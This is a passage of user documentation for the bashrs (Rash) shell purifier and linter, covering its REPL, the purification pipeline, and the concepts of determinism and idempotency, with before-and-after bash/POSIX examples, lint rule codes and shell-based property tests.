• Unclosed braces, parentheses, or brackets
• Bash keywords expecting continuation (if, for, while, function, case)
• Line ending with backslash (\)

This allows natural, interactive development of complex bash scripts within the REPL.

Command History

The REPL automatically saves command history to ~/.bashrs_history:

 Commands are saved across sessions
$ bashrs repl
bashrs [normal]> :parse echo test
...
bashrs [normal]> quit
Goodbye!

 Later...
$ bashrs repl
bashrs [normal]> # Press ↑ to recall previous commands

History Navigation

• ↑ (Up Arrow): Previous command
• ↓ (Down Arrow): Next command
• Ctrl-R: Reverse search through history
• Tab: Auto-complete commands, modes, and bash constructs
• Ctrl-C: Cancel current line
• Ctrl-D: Exit REPL (EOF)

REPL Configuration

Configure REPL behavior with command-line flags:

 Enable debug mode
$ bashrs repl --debug

 Set resource limits
$ bashrs repl --max-memory 200 --timeout 60

 Sandboxed mode (restricted operations)
$ bashrs repl --sandboxed

Available Options

Use Cases

Learning Bash

Use the REPL to interactively learn bash constructs and transformations:

 Learn about parameter expansions
bashrs [normal]> :mode explain
Switched to explain mode

bashrs [explain]> ${var:-default}
📖 Parameter Expansion: ${parameter:-word}
   Use Default Value
...

 Learn about control flow
bashrs [explain]> for i in *.txt
📖 For Loop: for name in words
   Iterate Over List
...

 Switch to purify mode to see transformations
bashrs [explain]> :mode purify
Switched to purify mode

bashrs [purify]> rm -rf /tmp/data
✓ Purified:
Purified 1 statement(s)

Quick Validation

Validate bash snippets before committing:

$ bashrs repl
bashrs [normal]> :lint $(cat deploy.sh)
Found 3 issue(s):
  ⚠ 2 warning(s)
  ℹ 1 info

 Fix issues...

bashrs [normal]> :lint $(cat deploy.sh)
✓ No issues found!

Experimenting with Transformations

Test purification transformations interactively:

bashrs [normal]> :purify SESSION_ID=$RANDOM
✓ Purified: SESSION_ID="$(date +%s)-$$"  # Deterministic

bashrs [normal]> :purify RELEASE="release-$(date +%s)"
✓ Purified: RELEASE="release-${VERSION}"  # Version-based

Troubleshooting

REPL Won't Start

Error: Failed to initialize REPL

Solution: Check that your terminal supports ANSI escape codes:

 Test terminal support
$ echo -e "\e[1mBold\e[0m"

 If that doesn't work, use a different terminal

History Not Persisting

Error: Commands not saved across sessions

Solution: Check history file permissions:

$ ls -la ~/.bashrs_history
 Should be readable/writable by your user

 Fix permissions if needed
$ chmod 600 ~/.bashrs_history

Out of Memory

Error: REPL out of memory

Solution: Increase memory limit:

$ bashrs repl --max-memory 1000  # 1GB

Next Steps

• REPL Commands Reference - Complete command reference
• Purifier Integration - Transformation rules
• Linter Integration - Linting rules reference

What is Purification?

Purification is the process of transforming messy, unsafe, non-deterministic bash scripts into clean, safe, deterministic POSIX shell scripts. It's the core philosophy of Rash (bashrs).

Overview

Purification combines three fundamental properties:

1. Determinism - Remove all sources of randomness
2. Idempotency - Make operations safe to re-run
3. POSIX Compliance - Generate standard, portable shell

Formula: Purification = Determinism + Idempotency + POSIX Compliance

Why Purification Matters

Real-world bash scripts accumulate problems over time:

❌ Problems with unpurified scripts:

• Non-deterministic - Different output each run ($RANDOM, timestamps)
• Non-idempotent - Breaks when re-run (mkdir without -p, rm without -f)
• Unsafe - Vulnerable to injection (unquoted variables)
• Non-portable - Uses bash-isms instead of POSIX

✅ Benefits of purified scripts:

• Predictable - Same input always produces same output
• Reliable - Safe to re-run without errors
• Secure - All variables quoted, no injection vectors
• Portable - Runs on any POSIX shell (sh, dash, ash, busybox)

The Purification Pipeline

Rash follows a systematic 3-stage pipeline:

┌─────────────┐      ┌──────────────┐      ┌─────────────────┐
│ Messy Bash  │  →   │  Transform   │  →   │  Purified POSIX │
│ Script      │      │  (Parse AST) │      │  Shell          │
└─────────────┘      └──────────────┘      └─────────────────┘
   Input                 Process                 Output

Stage 1: Parse

Parse the messy bash script into an Abstract Syntax Tree (AST):

 Input: Messy bash
!/bin/bash
SESSION_ID=$RANDOM
mkdir /tmp/session$SESSION_ID

Parsed as:

• Variable assignment: SESSION_ID=$RANDOM (non-deterministic!)
• Command: mkdir /tmp/session$SESSION_ID (non-idempotent!)

Stage 2: Transform

Apply semantic transformations to enforce determinism and idempotency:

Transformation Rules:

1. Replace $RANDOM with function parameters
2. Replace timestamps with fixed values or parameters
3. Add -p flag to mkdir (idempotent)
4. Add -f flag to rm (idempotent)
5. Quote all variables (safety)
6. Remove bash-isms (POSIX compliance)

Stage 3: Generate

Emit purified POSIX shell:

 Output: Purified POSIX sh
!/bin/sh
session_id="${1}"
mkdir -p "/tmp/session${session_id}"

Improvements:

• ✅ Deterministic: Uses parameter instead of $RANDOM
• ✅ Idempotent: mkdir -p won't fail if directory exists
• ✅ Safe: Variables quoted
• ✅ POSIX: Runs on any shell

Complete Example

Input: Messy Deployment Script

!/bin/bash
 deploy.sh - PROBLEMATIC

 Non-deterministic
SESSION_ID=$RANDOM
RELEASE="release-$(date +%s)"
PID=$$

 Non-idempotent
mkdir /app/releases/$RELEASE
mkdir /app/logs

 Unsafe (unquoted variables)
rm /app/current
ln -s /app/releases/$RELEASE /app/current

 Non-POSIX (bash arrays)
declare -a servers=("web1" "web2" "web3")

echo "Deployed $RELEASE to ${#servers[@]} servers (PID: $PID)"

Problems:

1. $RANDOM - Different value each time
2. $(date +%s) - Timestamp changes every second
3. $$ - Process ID varies
4. mkdir - Fails if directory exists
5. rm - Fails if file doesn't exist
6. Unquoted $RELEASE - Unsafe
7. declare -a - Bash-specific, not POSIX

Output: Purified Script

!/bin/sh
 Purified by Rash v6.30.1

deploy_app() {
     Input parameters (replaces non-deterministic sources)
    _version="${1}"
    _session_id="${2:-default-session}"

     Deterministic release name
    release="release-${_version}"

     Idempotent directory creation
    mkdir -p "/app/releases/${release}"
    mkdir -p "/app/logs"

     Idempotent file operations
    rm -f "/app/current"

     Idempotent symlink (remove old, create new)
    rm -f "/app/current"
    ln -s "/app/releases/${release}" "/app/current"

     POSIX-compliant (no arrays, use space-separated list)
    servers="web1 web2 web3"
    server_count=0
    for server in $servers; do
        server_count=$((server_count + 1))
    done

    echo "Deployed ${release} to ${server_count} servers"
}

 Call with version parameter
deploy_app "${1}" "${2}"

Transformations Applied:

1. ✅ $RANDOM → Parameter ${2}
2. ✅ $(date +%s) → Version parameter ${1}
3. ✅ $$ → Removed (not needed in purified version)
4. ✅ mkdir → mkdir -p (idempotent)
5. ✅ rm → rm -f (idempotent)
6. ✅ All variables quoted: "${release}"
7. ✅ Bash array → POSIX loop with space-separated list
8. ✅ Wrapped in function for reusability

Purification Report

After purification, Rash generates a report:

Purification Report
===================

Input:  deploy.sh (18 lines, 412 bytes)
Output: deploy_purified.sh (32 lines, 687 bytes)

Issues Fixed: 7
✅ Replaced $RANDOM with parameter (line 5)
✅ Replaced $(date +%s) with parameter (line 6)
✅ Made mkdir idempotent with -p flag (line 10, 11)
✅ Made rm idempotent with -f flag (line 14)
✅ Quoted all variable references (lines 6, 10, 11, 14, 15, 22)
✅ Converted bash array to POSIX loop (line 18)

Quality Checks:
✅ Deterministic: No $RANDOM, timestamps, or process IDs
✅ Idempotent: Safe to re-run without errors
✅ POSIX Compliant: Passes shellcheck -s sh
✅ Security: All variables quoted

Verification

Purified scripts must pass rigorous verification:

1. Shellcheck Validation

Every purified script MUST pass POSIX shellcheck:

shellcheck -s sh deploy_purified.sh
 No errors - POSIX compliant ✅

2. Behavioral Equivalence

Purified script must behave identically to original:

 Test original bash
bash deploy.sh 1.0.0 > original_output.txt

 Test purified sh
sh deploy_purified.sh 1.0.0 default-session > purified_output.txt

 Verify outputs are equivalent
diff original_output.txt purified_output.txt
 No differences - behaviorally equivalent ✅

3. Multi-Shell Testing

Purified scripts must work on all POSIX shells:

 Test on multiple shells
for shell in sh dash ash bash busybox; do
    echo "Testing with: $shell"
    $shell deploy_purified.sh 1.0.0
done

 All shells succeed ✅

4. Idempotency Testing

Must be safe to run multiple times:

 Run twice
sh deploy_purified.sh 1.0.0
sh deploy_purified.sh 1.0.0  # Should not fail

 Exit code: 0 - Safe to re-run ✅

Limitations and Trade-offs

Purification has intentional trade-offs:

What Purification CAN Fix

✅ Non-deterministic patterns ($RANDOM, timestamps, $$) ✅ Non-idempotent operations (mkdir, rm, ln) ✅ Unquoted variables ✅ Basic bash-isms (arrays, [[ ]], string manipulation) ✅ Security issues (command injection vectors)

What Purification CANNOT Fix

❌ Complex bash features (associative arrays, co-processes) ❌ Bash-specific syntax that has no POSIX equivalent ❌ Logic errors in the original script ❌ Performance optimizations (purified code may be slightly slower) ❌ External dependencies (if script calls non-POSIX tools)

Trade-offs

Readability vs. Safety:

• Purified code may be more verbose
• Extra quoting reduces readability slightly
• But safety and reliability are worth it

Performance vs. Portability:

• POSIX code may be slower than bash-specific features
• But portability enables running on minimal systems (Alpine, embedded)

Determinism vs. Flexibility:

• Removing $RANDOM requires passing seeds/values as parameters
• But determinism enables reproducible deployments

Use Cases

Purification is ideal for:

1. CI/CD Pipelines

Ensure deployment scripts are deterministic and idempotent:

 Before: Non-deterministic deploy
./deploy.sh  # May behave differently each time

 After: Deterministic deploy
./deploy_purified.sh v1.2.3 session-ci-build-456  # Always same behavior

2. Configuration Management

Generate safe configuration scripts:

 Before: Breaks on re-run
mkdir /etc/myapp
echo "config=value" > /etc/myapp/config.conf

 After: Safe to re-run
mkdir -p /etc/myapp
echo "config=value" > /etc/myapp/config.conf

3. Container Initialization

Bootstrap scripts for minimal container images:

 Purified scripts run on Alpine (uses busybox sh)
FROM alpine:latest
COPY init_purified.sh /init.sh
RUN sh /init.sh

4. Legacy Script Migration

Clean up old bash scripts for modern infrastructure:

 Migrate legacy scripts to POSIX
bashrs purify legacy/*.sh --output purified/

Integration with Linting

Purification works with the linter to ensure quality:

Before Purification: Detect Issues

bashrs lint deploy.sh

Output:

deploy.sh:5:12: DET001 [Error] Non-deterministic: $RANDOM detected
deploy.sh:6:10: DET002 [Error] Non-deterministic: timestamp $(date +%s)
deploy.sh:10:1: IDEM001 [Error] Non-idempotent: mkdir without -p flag
deploy.sh:14:1: IDEM002 [Error] Non-idempotent: rm without -f flag

After Purification: Verify Fixed

bashrs lint deploy_purified.sh

Output:

No issues found. ✅

Command-Line Usage

Basic Purification

 Purify a single script
bashrs purify script.sh --output script_purified.sh

Batch Purification

 Purify all scripts in a directory
find . -name "*.sh" -exec bashrs purify {} --output purified/{} \;

With Verification

 Purify and verify with shellcheck
bashrs purify deploy.sh --output deploy_purified.sh --verify

With Report

 Generate detailed purification report
bashrs purify deploy.sh --output deploy_purified.sh --report report.txt

Testing Purified Scripts

Use property-based testing to verify purification:

 Property 1: Determinism
 Same input always produces same output
bashrs purify script.sh --output v1.sh
bashrs purify script.sh --output v2.sh
diff v1.sh v2.sh  # Should be identical

 Property 2: Idempotency
 Safe to run multiple times
sh purified.sh
sh purified.sh  # Should not fail

 Property 3: POSIX Compliance
 Passes shellcheck
shellcheck -s sh purified.sh  # No errors

 Property 4: Behavioral Equivalence
 Original and purified have same behavior
bash original.sh 1.0.0 > orig.txt
sh purified.sh 1.0.0 > purif.txt
diff orig.txt purif.txt  # Should be equivalent

Best Practices

1. Always Verify After Purification

 ALWAYS run shellcheck on purified output
bashrs purify script.sh --output purified.sh
shellcheck -s sh purified.sh

2. Test on Target Shells

 Test on the shells you'll actually use
dash purified.sh   # Debian/Ubuntu sh
ash purified.sh    # Alpine sh
busybox sh purified.sh  # Embedded systems

3. Pass Randomness as Parameters

 Don't rely on $RANDOM - pass seeds explicitly
sh purified.sh --version 1.0.0 --session-id abc123

4. Review Purified Output

Purification is not perfect - always review:

 Use diff to see what changed
diff -u original.sh purified.sh

5. Keep Both Versions

Keep original for reference:

 Version control both
git add deploy.sh deploy_purified.sh
git commit -m "Add purified version of deploy.sh"

Further Reading

• Determinism Concept - Understanding deterministic scripts
• Idempotency Concept - Making operations safe to re-run
• POSIX Compliance - Writing portable shell scripts
• Security Linting - Detecting vulnerabilities

Quality Guarantee: All purified scripts are verified with shellcheck and tested across multiple POSIX shells to ensure reliability and portability.

Determinism

Determinism means that a script produces the same output given the same input, every time it runs. There are no surprises, no randomness, and no dependence on when or where the script executes.

Definition

A script is deterministic if and only if:

Given the same input → Always produces the same output

Formula: f(input) = output (consistently, every time)

Why Determinism Matters

The Problem: Non-Deterministic Scripts

Non-deterministic scripts are unpredictable and hard to debug:

!/bin/bash
 Non-deterministic deployment

RELEASE_ID=$RANDOM                    # Random number (different each run)
TIMESTAMP=$(date +%s)                 # Unix timestamp (changes every second)
HOSTNAME=$(hostname)                  # Varies by machine
PID=$$                                # Process ID (different each run)

echo "Deploying release: $RELEASE_ID-$TIMESTAMP"
mkdir /tmp/deploy-$PID

Problems:

• $RANDOM generates different values: 12345, 67890, 24680...
• $(date +%s) changes every second: 1699564800, 1699564801, 1699564802...
• $(hostname) varies: server1, server2, server3...
• $$ differs: 12345, 12346, 12347...

Impact:

• Can't reproduce issues (bug happened once, can't recreate)
• Can't verify deployments (different ID each time)
• Can't test reliably (tests pass/fail randomly)
• Can't rollback (which version was deployed?)

The Solution: Deterministic Scripts

Deterministic scripts are predictable and reliable:

!/bin/sh
 Deterministic deployment

release_version="${1}"                # Input parameter (controlled)
release_id="${2}"                     # Input parameter (controlled)

echo "Deploying release: ${release_id}-${release_version}"
mkdir -p "/tmp/deploy-${release_version}"

Benefits:

• ✅ Same input → Same output: v1.0.0 always deploys v1.0.0
• ✅ Reproducible: Can recreate exact same deployment
• ✅ Testable: Tests always produce same results
• ✅ Debuggable: Issues can be reproduced reliably

Sources of Non-Determinism

Rash detects and eliminates these common sources:

1. $RANDOM (DET001)

Problem: Generates random numbers

 Non-deterministic
SESSION_ID=$RANDOM
 Output: 12345 (first run), 67890 (second run), 24680 (third run)

Solution: Pass value as parameter or use fixed seed

 Deterministic
session_id="${1:-default-session}"
 Output: "default-session" (every run)

2. Timestamps (DET002)

Problem: Time-based values change constantly

 Non-deterministic
BUILD_TIME=$(date +%s)                # Unix timestamp
BUILD_DATE=$(date +%Y%m%d)            # YYYYMMDD format
START_TIME=$(date)                    # Human-readable

 Different each second/day
echo "Built at: $BUILD_TIME"  # 1699564800, 1699564801, 1699564802...

Solution: Pass timestamp as parameter or use version

 Deterministic
build_version="${1}"
build_timestamp="${2}"

echo "Built at: ${build_timestamp}"  # Same value each run

3. Process IDs (DET003)

Problem: $$ changes for each process

 Non-deterministic
LOCK_FILE="/var/run/deploy.$$"
 Output: /var/run/deploy.12345 (first run), /var/run/deploy.12346 (second run)

Solution: Use predictable names or parameters

 Deterministic
lock_file="/var/run/deploy-${1}.lock"
 Output: /var/run/deploy-v1.0.0.lock (same each run with same input)

4. Hostnames (DET004)

Problem: $(hostname) varies by machine

 Non-deterministic
SERVER=$(hostname)
echo "Deploying on: $SERVER"
 Output: server1 (on server1), server2 (on server2), server3 (on server3)

Solution: Pass hostname as parameter or use configuration

 Deterministic
server="${1}"
echo "Deploying on: ${server}"
 Output: Predictable based on input parameter

5. UUIDs/GUIDs (DET005)

Problem: Universally unique identifiers are... unique

 Non-deterministic
DEPLOY_ID=$(uuidgen)
 Output: 550e8400-e29b-41d4-a716-446655440000 (different every time)

Solution: Derive IDs from input or use version

 Deterministic
deploy_id="deploy-${1}-${2}"  # Constructed from version + timestamp
 Output: deploy-v1.0.0-20231109 (predictable)

6. Network Queries (DET006)

Problem: DNS, API calls return different results

 Non-deterministic
CURRENT_IP=$(curl -s https://api.ipify.org)
 Output: 192.0.2.1 (changes based on network, time, location)

Solution: Pass values as parameters

 Deterministic
current_ip="${1}"
 Output: Controlled by input

Testing Determinism

Property Test: Same Input → Same Output

!/bin/sh
 Test: Run script twice with same input, verify identical output

 Run 1
sh deploy.sh v1.0.0 session-123 > output1.txt

 Run 2
sh deploy.sh v1.0.0 session-123 > output2.txt

 Verify identical
diff output1.txt output2.txt
 Expected: No differences (deterministic ✅)

Property Test: Different Input → Different Output

!/bin/sh
 Test: Run script with different input, verify different output

 Run with version 1.0.0
sh deploy.sh v1.0.0 > output_v1.txt

 Run with version 2.0.0
sh deploy.sh v2.0.0 > output_v2.txt

 Verify different
if diff output_v1.txt output_v2.txt > /dev/null; then
    echo "FAIL: Different inputs produced same output (not deterministic)"
else
    echo "PASS: Different inputs produced different outputs (deterministic ✅)"
fi

Repeatability Test

!/bin/sh
 Test: Run script 100 times, verify all outputs identical

sh deploy.sh v1.0.0 > baseline.txt

for i in $(seq 1 100); do
    sh deploy.sh v1.0.0 > run_$i.txt
    if ! diff baseline.txt run_$i.txt > /dev/null; then
        echo "FAIL: Run $i produced different output"
        exit 1
    fi
done

echo "PASS: All 100 runs produced identical output (deterministic ✅)"

Linter Detection

Rash linter detects non-determinism:

bashrs lint deploy.sh

Output:

deploy.sh:3:12: DET001 [Error] Non-deterministic: $RANDOM detected
deploy.sh:4:14: DET002 [Error] Non-deterministic: timestamp $(date +%s)
deploy.sh:5:12: DET003 [Error] Non-deterministic: process ID $$ detected
deploy.sh:6:10: DET004 [Error] Non-deterministic: hostname command detected

Purification Transforms

Rash purification automatically fixes determinism issues:

Before: Non-Deterministic

!/bin/bash
SESSION_ID=$RANDOM
RELEASE="release-$(date +%s)"
LOCK="/var/run/deploy.$$"

echo "Deploying $RELEASE (session $SESSION_ID, lock $LOCK)"

After: Deterministic

!/bin/sh
 Purified by Rash v6.30.1

deploy() {
    _version="${1}"
    _session="${2:-default-session}"

    release="release-${_version}"
    lock="/var/run/deploy-${_version}.lock"

    echo "Deploying ${release} (session ${_session}, lock ${lock})"
}

deploy "${1}" "${2}"

Transformations:

• ✅ $RANDOM → parameter _session
• ✅ $(date +%s) → parameter _version
• ✅ $$ → version-based _version

Best Practices

1. Always Use Input Parameters

 ❌ BAD: Non-deterministic
SESSION_ID=$RANDOM

 ✅ GOOD: Deterministic
session_id="${1}"

2. Avoid Time-Based Values

 ❌ BAD: Changes every second
BACKUP_NAME="backup-$(date +%s).tar.gz"

 ✅ GOOD: Based on version
backup_name="backup-${1}.tar.gz"

3. Derive Values from Inputs

 ❌ BAD: Random UUID
DEPLOY_ID=$(uuidgen)

 ✅ GOOD: Constructed from inputs
deploy_id="deploy-${VERSION}-${ENVIRONMENT}"

4. Use Configuration Files

 ❌ BAD: Query at runtime
CURRENT_IP=$(curl -s https://api.ipify.org)

 ✅ GOOD: Read from config
current_ip=$(cat /etc/myapp/ip.conf)

5. Seed Randomness Explicitly

If you MUST use randomness:

 ❌ BAD: Unseeded random
echo $RANDOM

 ✅ GOOD: Seeded with parameter
seed="${1}"
RANDOM=$seed  # Set seed explicitly
echo $RANDOM  # Now deterministic for given seed

Common Patterns

Pattern 1: Version-Based Naming

 Non-deterministic
RELEASE_DIR="/app/releases/$(date +%Y%m%d-%H%M%S)"

 Deterministic
release_dir="/app/releases/${VERSION}"

Pattern 2: Environment Configuration

 Non-deterministic
SERVER=$(hostname)

 Deterministic (read from config)
server=$(cat /etc/environment)

Pattern 3: Input-Based IDs

 Non-deterministic
BUILD_ID=$(uuidgen)

 Deterministic
build_id="build-${GIT_COMMIT}-${BUILD_NUMBER}"

Integration with Idempotency

Determinism and idempotency work together:

!/bin/sh
 Both deterministic AND idempotent

deploy() {
    version="${1}"  # Deterministic: same input always

     Idempotent: safe to re-run
    mkdir -p "/app/releases/${version}"
    rm -f "/app/current"
    ln -sf "/app/releases/${version}" "/app/current"

    echo "Deployed ${version}"  # Deterministic output
}

deploy "${1}"

Properties:

• ✅ Deterministic: Same version always produces same output
• ✅ Idempotent: Running twice with same version is safe

Further Reading

• Purification Overview - Complete purification process
• Idempotency Concept - Safe re-run operations
• POSIX Compliance - Portable shell scripts
• DET Rules - Linter rules for determinism

Key Takeaway: Determinism makes scripts predictable and reproducible. Always use input parameters instead of random values, timestamps, or runtime queries.

Idempotency

Idempotency means that running an operation multiple times has the same effect as running it once. There are no errors, no side effects, and the system reaches the same final state regardless of how many times the script executes.

Definition

An operation is idempotent if and only if:

Running it multiple times = Running it once (same final state)

Formula: f(f(state)) = f(state) (consistent, every time)

Why Idempotency Matters

The Problem: Non-Idempotent Scripts

Non-idempotent scripts fail when re-run, making deployments and automation fragile:

!/bin/bash
 Non-idempotent deployment

 Fails if directory already exists
mkdir /app/releases/v1.0.0

 Fails if file already deleted
rm /app/old-config.txt

 Creates duplicate symlink or fails
ln -s /app/releases/v1.0.0 /app/current

 Appends duplicate entries
echo "export PATH=/app/bin:$PATH" >> ~/.bashrc

Problems:

• mkdir /app/releases/v1.0.0 → ERROR: "File exists" (fails on 2nd run)
• rm /app/old-config.txt → ERROR: "No such file" (fails if already deleted)
• ln -s ... → ERROR: "File exists" (fails if link exists)
• echo ... >> ~/.bashrc → Appends duplicate entries every run

Impact:

• ❌ Can't re-run deployments (fail on retry)
• ❌ Can't recover from failures (script breaks halfway)
• ❌ Can't repeat operations (inconsistent state)
• ❌ Manual cleanup required (error-prone)

The Solution: Idempotent Scripts

Idempotent scripts are safe to re-run without errors:

!/bin/sh
 Idempotent deployment

 Safe: creates directory if missing, succeeds if exists
mkdir -p /app/releases/v1.0.0

 Safe: removes file if exists, succeeds if missing
rm -f /app/old-config.txt

 Safe: remove old link, create new one
rm -f /app/current
ln -s /app/releases/v1.0.0 /app/current

 Safe: only add if not already present
grep -q "export PATH=/app/bin" ~/.bashrc || \
    echo "export PATH=/app/bin:\$PATH" >> ~/.bashrc

Benefits:

• ✅ Safe to re-run: No errors on 2nd, 3rd, Nth execution
• ✅ Recoverable: Can retry after failures
• ✅ Predictable: Always reaches same final state
• ✅ Automated: No manual intervention needed

Sources of Non-Idempotency

Rash detects and eliminates these common patterns:

1. mkdir without -p (IDEM001)

Problem: Fails if directory exists

 Non-idempotent
mkdir /app/releases/v1.0.0
 First run: ✅ Success
 Second run: ❌ mkdir: cannot create directory '/app/releases/v1.0.0': File exists

Solution: Always use -p flag

 Idempotent
mkdir -p /app/releases/v1.0.0
 First run: ✅ Creates directory
 Second run: ✅ Directory exists (no error)
 Nth run: ✅ Always succeeds

2. rm without -f (IDEM002)

Problem: Fails if file doesn't exist

 Non-idempotent
rm /app/old-config.txt
 First run: ✅ File deleted
 Second run: ❌ rm: cannot remove '/app/old-config.txt': No such file or directory

Solution: Always use -f flag

 Idempotent
rm -f /app/old-config.txt
 First run: ✅ File deleted
 Second run: ✅ File already gone (no error)
 Nth run: ✅ Always succeeds

3. ln -s without cleanup (IDEM003)

Problem: Fails if symlink exists

 Non-idempotent
ln -s /app/releases/v1.0.0 /app/current
 First run: ✅ Symlink created
 Second run: ❌ ln: failed to create symbolic link '/app/current': File exists

Solution: Remove old link first

 Idempotent
rm -f /app/current
ln -s /app/releases/v1.0.0 /app/current
 First run: ✅ Creates symlink
 Second run: ✅ Replaces symlink
 Nth run: ✅ Always succeeds

4. Appending to files (IDEM004)

Problem: Creates duplicate entries

 Non-idempotent
echo "export PATH=/app/bin:\$PATH" >> ~/.bashrc
 First run: Adds line (correct)
 Second run: Adds duplicate line
 Nth run: N duplicate lines (wrong!)

Solution: Check before appending

 Idempotent
grep -q "export PATH=/app/bin" ~/.bashrc || \
    echo "export PATH=/app/bin:\$PATH" >> ~/.bashrc
 First run: ✅ Adds line
 Second run: ✅ Line exists (skips)
 Nth run: ✅ Always one line

5. Creating files with > (IDEM005)

Problem: Not idempotent if file must not exist

 Non-idempotent (if uniqueness required)
echo "config=value" > /etc/myapp/config.conf
 Creates new file each time (might overwrite important data)

Solution: Use conditional creation or explicit overwrite

 Idempotent (explicit overwrite intended)
mkdir -p /etc/myapp
echo "config=value" > /etc/myapp/config.conf
 Always writes same config (idempotent for config management)

 Or conditional creation
if [ ! -f /etc/myapp/config.conf ]; then
    echo "config=value" > /etc/myapp/config.conf
fi

6. Database inserts (IDEM006)

Problem: Duplicate records

 Non-idempotent
psql -c "INSERT INTO users (name) VALUES ('admin')"
 First run: Creates user
 Second run: Creates duplicate user (or fails with constraint violation)

Solution: Use INSERT ... ON CONFLICT or upserts

 Idempotent
psql -c "INSERT INTO users (name) VALUES ('admin') ON CONFLICT (name) DO NOTHING"
 First run: Creates user
 Second run: User exists (no duplicate)
 Nth run: Always one user

Testing Idempotency

Property Test: Multiple Runs → Same State

!/bin/sh
 Test: Run script 3 times, verify same final state

 Clean state
rm -rf /tmp/test_deploy

 Run 1
sh deploy.sh v1.0.0 2>&1 | tee run1.log
state1=$(ls -la /tmp/test_deploy)

 Run 2
sh deploy.sh v1.0.0 2>&1 | tee run2.log
state2=$(ls -la /tmp/test_deploy)

 Run 3
sh deploy.sh v1.0.0 2>&1 | tee run3.log
state3=$(ls -la /tmp/test_deploy)

 Verify identical state
if [ "$state1" = "$state2" ] && [ "$state2" = "$state3" ]; then
    echo "PASS: All runs produced same state (idempotent ✅)"
else
    echo "FAIL: State differs between runs (not idempotent)"
    exit 1
fi

Property Test: No Errors on Re-Run

!/bin/sh
 Test: Run script twice, verify both succeed

 Run 1
sh deploy.sh v1.0.0
exit_code1=$?

 Run 2 (should not fail)
sh deploy.sh v1.0.0
exit_code2=$?

if [ $exit_code1 -eq 0 ] && [ $exit_code2 -eq 0 ]; then
    echo "PASS: Both runs succeeded (idempotent ✅)"
else
    echo "FAIL: Run 1: $exit_code1, Run 2: $exit_code2 (not idempotent)"
    exit 1
fi

Repeatability Test

!/bin/sh
 Test: Run script 100 times, verify all succeed

for i in $(seq 1 100); do
    sh deploy.sh v1.0.0 > /dev/null 2>&1
    if [ $? -ne 0 ]; then
        echo "FAIL: Run $i failed (not idempotent)"
        exit 1
    fi
done

echo "PASS: All 100 runs succeeded (idempotent ✅)"

Linter Detection

Rash linter detects non-idempotent patterns:

bashrs lint deploy.sh

Output:

deploy.sh:3:1: IDEM001 [Error] Non-idempotent: mkdir without -p flag
deploy.sh:4:1: IDEM002 [Error] Non-idempotent: rm without -f flag
deploy.sh:5:1: IDEM003 [Error] Non-idempotent: ln -s without cleanup
deploy.sh:6:1: IDEM004 [Error] Non-idempotent: append without duplicate check

Purification Transforms

Rash purification automatically fixes idempotency issues:

Before: Non-Idempotent

!/bin/bash
 Non-idempotent deployment

mkdir /app/releases/v1.0.0
mkdir /app/logs
rm /app/old-config.txt
ln -s /app/releases/v1.0.0 /app/current
echo "export PATH=/app/bin:\$PATH" >> ~/.bashrc

After: Idempotent

!/bin/sh
 Purified by Rash v6.30.1

deploy() {
    _version="${1}"

     Idempotent: mkdir -p (safe to re-run)
    mkdir -p "/app/releases/${_version}"
    mkdir -p "/app/logs"

     Idempotent: rm -f (safe if file missing)
    rm -f "/app/old-config.txt"

     Idempotent: remove old link, create new
    rm -f "/app/current"
    ln -s "/app/releases/${_version}" "/app/current"

     Idempotent: conditional append
    grep -q "export PATH=/app/bin" ~/.bashrc || \
        echo "export PATH=/app/bin:\$PATH" >> ~/.bashrc
}

deploy "${1}"

Transformations:

• ✅ mkdir → mkdir -p (idempotent)
• ✅ rm → rm -f (idempotent)
• ✅ ln -s → rm -f && ln -s (idempotent)
• ✅ echo >> → grep -q || echo >> (idempotent)

Best Practices

1. Always Use -p for mkdir

 ❌ BAD: Fails if exists
mkdir /app/config

 ✅ GOOD: Always succeeds
mkdir -p /app/config

2. Always Use -f for rm

 ❌ BAD: Fails if missing
rm /tmp/old-file.txt

 ✅ GOOD: Always succeeds
rm -f /tmp/old-file.txt

3. Clean Before Creating Symlinks

 ❌ BAD: Fails if exists
ln -s /app/new /app/link

 ✅ GOOD: Remove old, create new
rm -f /app/link
ln -s /app/new /app/link

4. Check Before Appending

 ❌ BAD: Creates duplicates
echo "line" >> file.txt

 ✅ GOOD: Add only if missing
grep -q "line" file.txt || echo "line" >> file.txt

5. Use Conditional File Creation

 ❌ BAD: Blindly overwrites
echo "data" > /etc/config.txt

 ✅ GOOD: Create only if missing
if [ ! -f /etc/config.txt ]; then
    echo "data" > /etc/config.txt
fi

 Or explicit overwrite (if idempotent config management)
echo "data" > /etc/config.txt  # Idempotent for config files

Common Patterns

Pattern 1: Idempotent Directory Setup

 Non-idempotent
mkdir /app
mkdir /app/bin
mkdir /app/config

 Idempotent
mkdir -p /app/bin /app/config

Pattern 2: Idempotent Cleanup

 Non-idempotent
rm /tmp/*.log

 Idempotent
rm -f /tmp/*.log

Pattern 3: Idempotent Configuration

 Non-idempotent
echo "setting=value" >> /etc/config.conf

 Idempotent
config_file="/etc/config.conf"
grep -q "setting=value" "$config_file" || \
    echo "setting=value" >> "$config_file"

Pattern 4: Idempotent Service Management

 Non-idempotent
systemctl start myservice

 Idempotent
systemctl is-active myservice || systemctl start myservice

 Or simpler (systemctl start is already idempotent)
systemctl start myservice  # Safe to re-run

Integration with Determinism

Idempotency and determinism work together:

!/bin/sh
 Both deterministic AND idempotent

deploy() {
    version="${1}"  # Deterministic: same input always

     Idempotent: safe to re-run
    mkdir -p "/app/releases/${version}"
    rm -f "/app/current"
    ln -s "/app/releases/${version}" "/app/current"

    echo "Deployed ${version}"  # Deterministic output
}

deploy "${1}"

Properties:

• ✅ Deterministic: Same version always produces same output
• ✅ Idempotent: Running twice with same version is safe

Testing Both Properties:

!/bin/sh
 Test determinism + idempotency

 Test 1: Determinism (same input → same output)
sh deploy.sh v1.0.0 > output1.txt
sh deploy.sh v1.0.0 > output2.txt
diff output1.txt output2.txt
 Expected: Identical (deterministic ✅)

 Test 2: Idempotency (multiple runs → same state)
sh deploy.sh v1.0.0
state1=$(ls -la /app)
sh deploy.sh v1.0.0
state2=$(ls -la /app)
[ "$state1" = "$state2" ]
 Expected: Same state (idempotent ✅)

Advanced Patterns

Atomic Operations

Some operations are naturally atomic and idempotent:

 Idempotent: Overwriting files
cp /source/config.txt /dest/config.txt
 Run 1: Copies file
 Run N: Overwrites with same content (idempotent)

 Idempotent: Setting environment
export PATH="/app/bin:$PATH"
 Run N: Same PATH value (idempotent)

 Idempotent: Kill processes
killall -q myprocess || true
 Run N: Process killed or already dead (idempotent)

Database Migrations

